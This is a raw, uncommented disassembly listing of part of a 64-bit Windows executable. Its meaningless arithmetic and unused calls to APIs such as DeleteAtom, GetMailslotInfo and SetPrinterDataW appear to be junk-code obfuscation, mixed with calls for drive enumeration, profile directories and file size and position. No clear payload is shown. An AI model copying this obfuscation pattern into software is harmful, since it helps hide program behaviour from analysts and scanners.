call qword [sym.imp.USERENV.dll_GetUserProfileDirectoryW]
mov dword [rsp + 0x80b0], eax
mov rax, qword [rsp + 0x10400]
mov rcx, qword [rsp + 0x10500]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x102d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x10408]
mov qword [rsp + 0x20], rax
movzx r9d, byte [0x140221da0]
mov rax, qword [rsp + 0x10438]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x10400]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rax]
call fcn.1401f4f00
jmp 0x14001f389
mov rax, qword [rsp + 0x103b0]
mov rcx, qword [rsp + 0x10210]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7fcc], eax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x10388]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x577], al
movsx eax, word [rsp + 0x28dc]
movsx ecx, word [rsp + 0x1b14]
sub eax, ecx
mov word [rsp + 0x2900], ax
mov rax, qword [rsp + 0x10220]
movzx ecx, word [rax]
call fcn.1401f4e90
movzx ecx, word [rsp + 0x28e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2924], ax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
mov word [0x140221d82], ax
mov rax, qword [rsp + 0x10440]
mov rcx, qword [rsp + 0x10358]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x101e0], rax
lea rax, [rsp + 0x101e0]
mov qword [rsp + 0x10520], rax
mov rax, qword [rsp + 0x10440]
mov rcx, qword [rsp + 0x10520]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcdb8], rax
mov rax, qword [rsp + 0x10400]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10228]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x102d8]
mov rdx, qword [rsp + 0x10500]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
je 0x1401f3cdd
movzx eax, byte [0x140221da0]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x2ff], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x8068], eax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1f28], ax
movsx eax, byte [rsp + 0x56c]
mov rcx, qword [rsp + 0x10410]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x572], al
movzx ecx, word [rsp + 0x28f4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x28e0], ax
mov rax, qword [rsp + 0xcdb8]
mov rcx, qword [rsp + 0xd518]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd2f0], rax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f8c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x809c], eax
mov rax, qword [rsp + 0x102d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10468]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xda48], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov eax, dword [rsp + 0x8050]
mov ecx, dword [rsp + 0x8078]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8040], eax
mov rax, qword [rsp + 0x103d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x28f8]
sub eax, ecx
mov word [rsp + 0x28dc], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
movzx eax, byte [rsp + 0x19c]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140221da0], al
movzx eax, word [0x140221d82]
movzx ecx, word [rsp + 0x28d8]
add eax, ecx
mov word [rsp + 0x14c4], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xa02c
mov rcx, qword [rsp + 0x10318]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x80b4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x10358]
mov rcx, qword [rsp + 0xd638]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x102a0], rax
mov rax, qword [rsp + 0x10440]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10358]
mov qword [rsp + 0x10528], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10528]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x10348], rax
movzx eax, word [rsp + 0x28f0]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x28fc], ax
mov rcx, qword [rsp + 0x103f8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x7f98], eax
mov rax, qword [rsp + 0x10400]
mov rcx, qword [rsp + 0x102d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x104b0], rax
mov rax, qword [rsp + 0x101d0]
mov ecx, dword [rsp + 0x7d50]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8040], eax
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7fb8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f8c], eax
mov rax, qword [rsp + 0x10388]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x102f8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x56f], al
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x103d0]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1402113c0], ax
mov rax, qword [rsp + 0x10520]
mov rcx, qword [rsp + 0x101e0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x10310], rax
mov edx, 0x22d91d
mov rcx, qword [rsp + 0x102d0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x8098], eax
mov rax, qword [rsp + 0x10410]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x10438]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x572], al
movzx eax, byte [rsp + 0x56d]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xc0], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x103d0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2908], ax
lea rdx, [rsp + 0x10238]
mov rcx, qword [rsp + 0x10230]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x8018], eax
mov rax, qword [rsp + 0x10400]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10468]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x104b0], rax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x809c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8090], eax
mov rax, qword [rsp + 0x101d0]
mov ecx, dword [rsp + 0x8050]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7acc], eax
movzx eax, word [rsp + 0x290c]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x10220]
mov word [rcx], ax
movsx eax, word [rsp + 0x1b14]
movsx ecx, word [rsp + 0x1d1c]
shl eax, cl
mov word [0x1402113c0], ax
mov eax, dword [rsp + 0x7f90]
sub eax, 0x59
mov dword [rsp + 0x7f90], eax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [0x140221da0]
xor eax, ecx
mov byte [rsp + 0x19c], al
movzx eax, word [rsp + 0x2708]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x14c4], ax
cmp dword [rsp + 0x7f90], 0x1369
jae 0x14001f43b
mov rax, qword [rsp + 0xe6b8]
mov rcx, qword [rsp + 0x102a0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10520]
mov rdx, qword [rsp + 0x10460]
mov rcx, qword [rcx]
and rcx, rdx
cmp rax, rcx
jle 0x14001f98e
mov rax, qword [rsp + 0x10440]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10348]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10520]
mov qword [rcx], rax
movzx r9d, word [rsp + 0x28f8]
movzx r8d, word [rsp + 0x291c]
mov rax, qword [rsp + 0x103d0]
movzx edx, word [rax]
movzx ecx, word [0x1402113c0]
call fcn.1401f4d00
mov dword [rsp + 0x20], 0xdb
lea r9, [rsp + 0x101f0]
mov r8d, 0x82
mov rdx, qword [rsp + 0x104d0]
mov rcx, qword [rsp + 0x10420]
call sub.WINSPOOL.DRV_SetPrinterDataW
mov dword [rsp + 0x80b8], eax
mov rax, qword [rsp + 0x10440]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x102a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10218], rax
mov rax, qword [rsp + 0x102d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x104b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x101c8], rax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x8090]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8080], eax
mov rax, qword [rsp + 0x104e8]
mov rcx, qword [rsp + 0x10210]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7d50], eax
lea rdx, [rsp + 0x10530]
mov rcx, qword [rsp + 0x102d0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x8014], eax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
mov byte [rsp + 0x578], al
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x103d0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140221d84], ax
movsx eax, byte [rsp + 0x1c3]
mov rcx, qword [rsp + 0x10410]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x56c], al
mov eax, dword [rsp + 0x80a4]
mov dword [rsp + 0x80bc], eax
cmp dword [rsp + 0x80bc], 0x5c74
je 0x1401f3bd3
cmp dword [rsp + 0x80bc], 0xff9a0000
je 0x14001fa46
jmp 0x1401f3ca3
mov rax, qword [rsp + 0x102f8]
movzx eax, byte [rax]
mov byte [rsp + 0x80c0], al
cmp byte [rsp + 0x80c0], 0
je 0x14001fa75
cmp byte [rsp + 0x80c0], 0x82
je 0x1401f3aa3
jmp 0x1401f3ac6
mov rax, qword [0x140221d98]
movzx eax, byte [rax]
mov byte [rsp + 0x80c4], al
cmp byte [rsp + 0x80c4], 0
je 0x14001faa3
cmp byte [rsp + 0x80c4], 0x68
je 0x14001fb74
jmp 0x14001fc3d
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x103d0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b14], ax
mov rcx, qword [rsp + 0x10318]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x80c8], eax
movzx eax, byte [rsp + 0x183]
mov byte [rsp + 0x579], al
movzx eax, word [rsp + 0x2914]
movzx ecx, word [rsp + 0x2694]
and eax, ecx
mov word [rsp + 0x14c4], ax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f54]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x733c], eax
mov rax, qword [rsp + 0x103b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7fa8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x787c], eax
mov rax, qword [rsp + 0x10468]
mov qword [rsp + 0x10538], rax
movsx eax, byte [rsp + 0x573]
movsx ecx, byte [rsp + 0x56e]
add eax, ecx
mov byte [rsp + 0x572], al
lea rax, [0x1402113c0]
mov qword [rsp + 0x10540], rax
jmp 0x14001fc3d
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140221d82], ax
movzx eax, byte [rsp + 0x574]
movzx ecx, byte [rsp + 0x18b]
sar eax, cl
mov byte [rsp + 0x579], al
mov rax, qword [rsp + 0x10520]
mov rcx, qword [rsp + 0xcdb8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x10520]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd518]
mov rcx, qword [rsp + 0x10358]
mov qword [rsp + 0x10548], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10548]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x10348], rax
mov rax, qword [rsp + 0x102d8]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x102f8]
movzx r9d, byte [rax]
movzx r8d, byte [rsp + 0x56e]
mov rax, qword [rsp + 0x10400]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rax]
call fcn.1401f4f00
movsx eax, word [rsp + 0x291c]
mov dword [rsp + 0x80cc], eax
cmp dword [rsp + 0x80cc], 0
je 0x14001fc5b
jmp 0x1401f38f4
movzx eax, byte [rsp + 0x571]
movzx ecx, byte [0x140221da0]
sub eax, ecx
movzx ecx, byte [rsp + 0x577]
mov rdx, qword [rsp + 0x102f8]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jg 0x1401f37bb
movsx eax, word [rsp + 0x2920]
movsx ecx, word [rsp + 0x2910]
add eax, ecx
mov word [rsp + 0x28f8], ax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x18b]
add eax, ecx
mov rcx, qword [0x140221d98]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x579]
sub ecx, edx
cmp eax, ecx
jle 0x14001fd6f
movzx eax, word [rsp + 0x290c]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2708], ax
movzx eax, word [rsp + 0x2914]
movzx ecx, word [rsp + 0x28f0]
sub eax, ecx
mov word [rsp + 0x2708], ax
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x140221d8c]
shr eax, cl
mov dword [rsp + 0x7f4c], eax
lea rcx, [rsp + 0x80d0]
call qword [sym.imp.SHELL32.dll_ILFindLastID]
mov qword [rsp + 0x10550], rax
movzx r9d, word [rsp + 0x1d1c]
mov rax, qword [rsp + 0x10540]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x103d0]
movzx edx, word [rax]
movzx ecx, word [rsp + 0x28dc]
call fcn.1401f4d00
jmp 0x14001fe94
mov rax, qword [rsp + 0x102f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x10388]
movzx ecx, byte [rcx]
add eax, ecx
movzx ecx, byte [rsp + 0x576]
movzx edx, byte [rsp + 0x19c]
sub ecx, edx
cmp eax, ecx
jne 0x14001fe94
mov rax, qword [rsp + 0x10228]
mov qword [rsp + 0x10558], rax
mov rax, qword [rsp + 0x103b0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7f70]
shl eax, cl
mov dword [rsp + 0x7fa8], eax
movzx eax, word [0x140211390]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1eac], ax
mov rax, qword [rsp + 0x10540]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b14]
or eax, ecx
mov word [rsp + 0x28e4], ax
movzx eax, byte [rsp + 0x570]
movzx ecx, byte [rsp + 0x19c]
add eax, ecx
mov byte [0x14021103a], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [rsp + 0x10440]
mov rcx, qword [rsp + 0x10310]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xd638], rax
lea rax, [rsp + 0xcdb8]
mov qword [rsp + 0x10560], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x10268], rax
mov rax, qword [rsp + 0x10560]
mov rcx, qword [rsp + 0x10358]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x10348], rax
movzx eax, word [rsp + 0x1b14]
mov word [rsp + 0x2928], ax
lea rcx, [rsp + 0x23c30]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, qword [rsp + 0x10438]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1c3]
sub eax, ecx
mov byte [rsp + 0x56e], al
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0xda48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x104b0], rax
mov eax, dword [rsp + 0x7d50]
mov dword [rsp + 0x80d4], eax
mov eax, dword [rsp + 0x80a4]
mov ecx, dword [rsp + 0x806c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f8c], eax
movzx eax, byte [rsp + 0x2ff]
movzx ecx, byte [rsp + 0x18b]
sub eax, ecx
mov byte [0x14021103b], al
movzx eax, word [rsp + 0x28f0]
mov word [rsp + 0x292c], ax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x10540]
movsx ecx, word [rcx]
add eax, ecx
movsx ecx, word [0x1402113b8]
mov rdx, qword [rsp + 0x103d0]
movsx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jg 0x1401f36cd
mov rax, qword [rsp + 0x10388]
movzx eax, byte [rax]
mov byte [0x140221d80], al
movzx eax, word [rsp + 0x1eac]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x28d8], ax
movsx eax, word [0x1402113b8]
movsx ecx, word [rsp + 0x1d1c]
add eax, ecx
mov word [rsp + 0x1a90], ax
lea rax, [rsp + 0x573]
mov qword [rsp + 0x10568], rax
mov rax, qword [rsp + 0x10358]
mov rcx, qword [rsp + 0x10440]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x10520]
mov rdx, qword [rsp + 0x10560]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jl 0x14002013f
mov rax, qword [rsp + 0x10440]
mov rcx, qword [rsp + 0x10520]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xdac0], rax
mov rax, qword [0x1402113a0]
mov rcx, qword [rsp + 0xda48]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x103a8], rax
mov eax, dword [rsp + 0x80d8]
mov dword [rsp + 0x80dc], eax
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x80e0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x10210]
mov dword [rcx], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x10570], rax
movzx eax, word [rsp + 0x2914]
mov word [rsp + 0x2930], ax
lea rax, [rsp + 0x2908]
mov qword [0x140221d78], rax
mov rax, qword [rsp + 0x10388]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x102f8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x18b], al
mov rax, qword [rsp + 0xef38]
mov rcx, qword [rsp + 0x10560]
mov qword [rsp + 0x10578], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10578]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd518], rax
mov rax, qword [rsp + 0x10440]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10358]
mov qword [rsp + 0x10580], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10580]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xcda0], rax
mov r9d, 0x955
xor r8d, r8d
lea rdx, [rsp + 0x10338]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x805c], eax
jmp 0x140020236
movzx eax, word [rsp + 0x1f28]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x28f0], ax
mov eax, dword [0x140211394]
mov ecx, dword [rsp + 0x80d8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a90], eax
mov dword [rsp + 0x20], 0xcc
lea r9, [rsp + 0x102d8]
mov r8d, reloc.SHELL32.dll_ILClone
mov rdx, qword [rsp + 0x10588]
mov rcx, qword [rsp + 0x10590]
call sub.WINSPOOL.DRV_SetPrinterDataW
mov dword [rsp + 0x8080], eax
mov eax, dword [rsp + 0x80d4]
mov ecx, dword [rsp + 0x7fa8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8040], eax
mov rax, qword [rsp + 0x10400]
mov rcx, qword [rsp + 0xda48]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x10538], rax
mov rax, qword [rsp + 0x10388]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc0]
and eax, ecx
mov byte [rsp + 0x19c], al
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x103d0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1402113b8], ax
mov rax, qword [rsp + 0x10560]
mov rcx, qword [rsp + 0xdac0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcda0], rax
movsx eax, byte [rsp + 0x56e]
movsx ecx, byte [rsp + 0x573]
add eax, ecx
mov rcx, qword [rsp + 0x10568]
mov byte [rcx], al
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x8018], eax
movzx eax, byte [rsp + 0x576]
mov byte [rsp + 0x57a], al
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1eac]
sub eax, ecx
mov word [rsp + 0x290c], ax
mov rax, qword [rsp + 0x10468]
mov rcx, qword [rsp + 0x10228]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x103a8], rax
mov eax, dword [rsp + 0x7d50]
mov dword [rsp + 0x80e4], eax
mov rax, qword [rsp + 0x10520]
mov rcx, qword [rsp + 0xd638]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x10310]
mov rdx, qword [rsp + 0x10560]
mov rdx, qword [rdx]
sar rdx, cl
mov rcx, rdx
cmp rax, rcx
jne 0x140020378
mov eax, dword [rsp + 0x806c]
movzx ecx, al
mov eax, dword [0x140211394]
shl eax, cl
mov dword [rsp + 0x8090], eax
mov rax, qword [rsp + 0x103d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x10258]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1fe8], ax
movzx ecx, word [rsp + 0x28e0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x28f4], ax
movsx eax, word [rsp + 0x291c]
mov rcx, qword [0x140221d78]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1402113c0], ax
movzx eax, word [rsp + 0x2708]
movzx ecx, word [rsp + 0x2694]
sub eax, ecx
mov word [rsp + 0x28fc], ax
movzx ecx, word [rsp + 0x2918]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2934], ax
movzx eax, byte [rsp + 0x56d]
mov rcx, qword [rsp + 0x102f8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x57a], al
mov rax, qword [rsp + 0x10460]
mov qword [rsp + 0x10598], rax
mov rax, qword [rsp + 0x10560]
mov rcx, qword [rsp + 0x10440]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x10218]
mov rdx, qword [rsp + 0xef38]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jl 0x1401f3478
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x102f8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x19c], al
movzx eax, word [rsp + 0x2930]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14021139c], ax
mov rax, qword [rsp + 0xd638]
mov qword [rsp + 0x105a0], rax
lea rdx, [rsp + 0x10280]
mov rcx, qword [rsp + 0x10318]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x80e8], eax
movsx eax, word [rsp + 0x291c]
mov rcx, qword [rsp + 0x10540]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2900], ax
lea rax, [rsp + 0x1f28]
mov qword [rsp + 0x105a8], rax
movzx eax, byte [rsp + 0x575]
mov rcx, qword [0x140221d98]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x108], al
mov rax, qword [rsp + 0x102d8]
mov rcx, qword [rsp + 0x10500]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x10538], rax
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
mov dword [rsp + 0x80b8], eax
mov rcx, qword [rsp + 0x10470]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x803c], eax
mov eax, dword [rsp + 0x80d4]
mov dword [rsp + 0x80ec], eax
movsx eax, byte [rsp + 0x56e]
mov rcx, qword [rsp + 0x10568]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x56c], al
movzx eax, word [rsp + 0x1a90]
mov word [rsp + 0x2938], ax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b14]
sar eax, cl
movsx ecx, word [rsp + 0x1d1c]
mov rdx, qword [rsp + 0x103d0]
movsx edx, word [rdx]
or ecx, edx
cmp eax, ecx
jle 0x14002063d
mov rax, qword [rsp + 0x105a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x292c]
add eax, ecx
mov word [0x140211390], ax
lea rdx, [rsp + 0x10568]
mov rcx, qword [rsp + 0x105b0]
call qword [sym.imp.SHELL32.dll_DragQueryPoint]
mov dword [rsp + 0x7fb4], eax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x10388]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x56f], al
mov rax, qword [rsp + 0x10358]
mov rcx, qword [rsp + 0x10348]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcdb8], rax
mov rax, qword [rsp + 0x10358]
mov rcx, qword [rsp + 0x10440]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x10560]
mov qword [rcx], rax
mov rax, qword [rsp + 0x104e8]
mov rcx, qword [rsp + 0x103b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7f70], eax
mov dword [rsp + 0x20], 0xf5
lea r9, [rsp + 0x102e8]
mov r8d, 0xcf
mov edx, 0xbf
mov rcx, qword [rsp + 0x10360]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x80f0], eax
jmp 0x140020773
mov rax, qword [rsp + 0x104b0]
mov rcx, qword [rsp + 0x10228]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x102d8]
mov rdx, qword [0x1402113a0]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jbe 0x140020773
mov rax, qword [rsp + 0x103b0]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x7fcc]
mov rax, qword [rsp + 0x103b0]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x103b0]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x80d4]
call fcn.1401f4cc0
mov rax, qword [rsp + 0x102d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x104b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x10228], rax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f8c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x733c], eax
movzx eax, word [rsp + 0x28fc]
movzx ecx, word [rsp + 0x2708]
sar eax, cl
mov word [rsp + 0x28d8], ax
movzx eax, byte [rsp + 0x56d]
movzx ecx, byte [rsp + 0x183]
shl eax, cl
mov byte [rsp + 0x575], al
movsx eax, word [rsp + 0x2910]
mov rcx, qword [rsp + 0x10258]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1402113b8], ax
mov r9d, 0x74
lea r8, [rsp + 0x806c]
mov edx, 0x8e
mov rcx, qword [rsp + 0x10360]
call sub.WINSPOOL.DRV_SetPrinterW
mov dword [rsp + 0x7fb4], eax
mov rax, qword [rsp + 0x10208]
mov edx, dword [rax]
mov rax, qword [rsp + 0x105a8]
movzx ecx, word [rax]
call fcn.1401f4e00
mov rax, qword [rsp + 0x10560]
mov rcx, qword [rsp + 0xdac0]
mov rax, qword [rax]
or rax, rcx
